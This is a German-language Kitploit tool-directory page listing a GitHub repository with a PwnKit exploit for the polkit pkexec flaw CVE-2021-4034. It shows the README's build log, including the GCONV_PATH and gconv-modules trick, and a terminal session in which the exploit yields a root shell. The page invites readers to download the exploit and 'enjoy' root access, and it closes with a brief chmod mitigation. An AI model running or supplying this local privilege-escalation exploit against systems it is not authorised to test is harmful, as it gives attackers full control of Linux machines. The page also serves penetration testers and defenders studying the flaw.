Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/tanmay-n/cve-2021-4034
Privilege EscalationExploit-FrameworksSchwachstellenanalyseExploitationBinary-Exploitation
GitHubtanmay-n/cve-2021-4034

CVE-2021-4034

Exploit für CVE-2021-4034 in polkit pkexec, der eine Root-Shell über eine SUID-Privilegieneskalation bereitstellt. Enthält Quellcode und Build-Anweisungen.

Repository anzeigen
16vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-4034

Polkit-Privilege-Escalation-Exploit

Führe einfach make, ./cve-2021-4034 aus und genieße deine Root-Shell.

Das ursprüngliche Advisory von meinem Qualys-Team hier

PoC

Wenn der Exploit funktioniert, erhältst du sofort eine Root-Shell:

root@kitploit:~
kali@user:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit

Ein Update von polkit auf den meisten Systemen patcht den Exploit, daher erhältst du die Nutzungsanleitung und das Programm beendet sich:

root@kitploit:~
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
kali@user:~/CVE-2021-4034$

Über Polkit pkexec für Linux

Polkit (früher PolicyKit) ist eine Komponente zur Steuerung systemweiter Privilegien in Unix-ähnlichen Betriebssystemen. Es bietet eine organisierte Möglichkeit für nicht-privilegierte Prozesse, mit privilegierten Prozessen zu kommunizieren. Es ist auch möglich, polkit zu verwenden, um Befehle mit erhöhten Privilegien auszuführen, indem der Befehl pkexec gefolgt von dem auszuführenden Befehl (mit Root-Berechtigung) verwendet wird.

Mitigation

Wenn für dein Betriebssystem keine Patches verfügbar sind, kannst du das SUID-Bit von pkexec als vorübergehende Maßnahme entfernen.

root@kitploit:~
# chmod 0755 /usr/bin/pkexec
Tool herunterladen